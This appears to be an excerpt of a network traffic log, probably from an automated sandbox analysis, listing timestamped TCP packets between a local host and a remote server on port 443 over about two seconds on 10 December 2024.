Dec 10, 2024 12:48:58.912642956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.912664890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.912703991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.912714958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.912741899 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.912760973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.918667078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.918688059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.918740034 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.918751001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.918797016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.924252033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.924273014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.924309015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.924320936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.924346924 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.924364090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.930171013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.930197001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.930233002 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.930243969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.930272102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.930290937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.936203957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.936228991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.936271906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.936283112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.936307907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.936325073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.060756922 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.126914024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.126938105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.127023935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.127037048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.127051115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.127073050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.132738113 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.132752895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.132810116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.132817984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.132859945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.138753891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.138768911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.138823032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.138828039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.138870955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.144018888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.144046068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.144087076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.144092083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.144114017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.144129038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.149975061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.150001049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.150046110 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.150055885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.150068998 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.150104046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.155658960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.155683994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.155726910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.155735016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.155760050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.155776978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.161564112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.161585093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.161622047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.161628008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.161653042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.161672115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.167545080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.167563915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.167613029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.167623043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.167670012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.250164986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.319358110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.319385052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.319451094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.319466114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.319499969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.319535971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.325454950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.325475931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.325536966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.325551033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.325562000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.325589895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.331425905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.331443071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.331513882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.331521988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.331562042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.337331057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.337352991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.337394953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.337402105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.337423086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.337433100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.342600107 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.342621088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.342662096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.342674971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.342715025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.348135948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.348160028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.348210096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.348220110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.348265886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.354295969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.354321957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.354362011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.354372025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.354394913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.354408026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.360152006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.360174894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.360207081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.360218048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.360250950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.360258102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.443339109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.512059927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.512088060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.512171030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.512183905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.512227058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.517337084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.517357111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.517401934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.517412901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.517426968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.517457008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.523386955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.523407936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.523448944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.523457050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.523479939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.523498058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.529213905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.529230118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.529283047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.529290915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.529329062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.535259008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.535274029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.535337925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.535347939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.535386086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.540853977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.540870905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.540954113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.540961027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.541023970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.546188116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.546206951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.546247005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.546255112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.546291113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.552093983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.552109003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.552191019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.552202940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.552247047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.635906935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.704670906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.704698086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.704801083 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.704813957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.704852104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.709897041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.709909916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.709969044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.709978104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.710017920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.715847969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.715877056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.715909958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.715919971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.715935946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.715958118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.721805096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.721823931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.721868992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.721879959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.721915007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.727113008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.727133036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.727174997 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.727185011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.727200985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.727216959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.733381033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.733406067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.733448029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.733453989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.733467102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.733491898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.738656044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.738683939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.738718987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.738729000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.738746881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.738769054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.744708061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.744730949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.744772911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.744781971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.744796991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.744818926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.829626083 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.896888971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.896914005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.897001982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.897016048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.897061110 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.901954889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.901969910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.902014971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.902023077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.902040958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.902072906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.907995939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.908011913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.908076048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.908085108 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.908128023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.911583900 CET	49682	80	192.168.2.17	192.229.211.108
Dec 10, 2024 12:48:59.913949013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.913973093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.914001942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.914011955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.914032936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.914051056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.919970989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.919996023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.920033932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.920042038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.920069933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.920078993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.925689936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.925715923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.925750971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.925757885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.925785065 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.925801039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.930819988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.930836916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.930903912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.930913925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.930957079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.936897039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.936932087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.936983109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.936999083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:59.937009096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:59.937047958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.025737047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.088800907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.088829041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.088907003 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.088921070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.088973999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.094943047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.094959974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.095021963 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.095029116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.095073938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.100147963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.100168943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.100224972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.100231886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.100275993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.105998993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.106014967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.106075048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.106081963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.106122017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.112201929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.112222910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.112283945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.112294912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.112334013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.117593050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.117610931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.117661953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.117669106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.117712021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.123724937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.123744965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.123815060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.123823881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.123867035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.129410982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.129426003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.129463911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.129471064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.129492998 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.129534006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.216450930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.281227112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.281260967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.281323910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.281339884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.281374931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.287245989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.287269115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.287318945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.287326097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.287353039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.287368059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.292464972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.292481899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.292552948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.292560101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.292594910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.298489094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.298507929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.298564911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.298573971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.298624992 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.304429054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.304444075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.304503918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.304513931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.304553986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.310061932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.310076952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.310128927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.310133934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.310172081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.316070080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.316093922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.316140890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.316147089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.316178083 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.316193104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:49:00.321332932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.321348906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:49:00.321407080 CET	49729	443	192.168.2.17	47.254.218.16
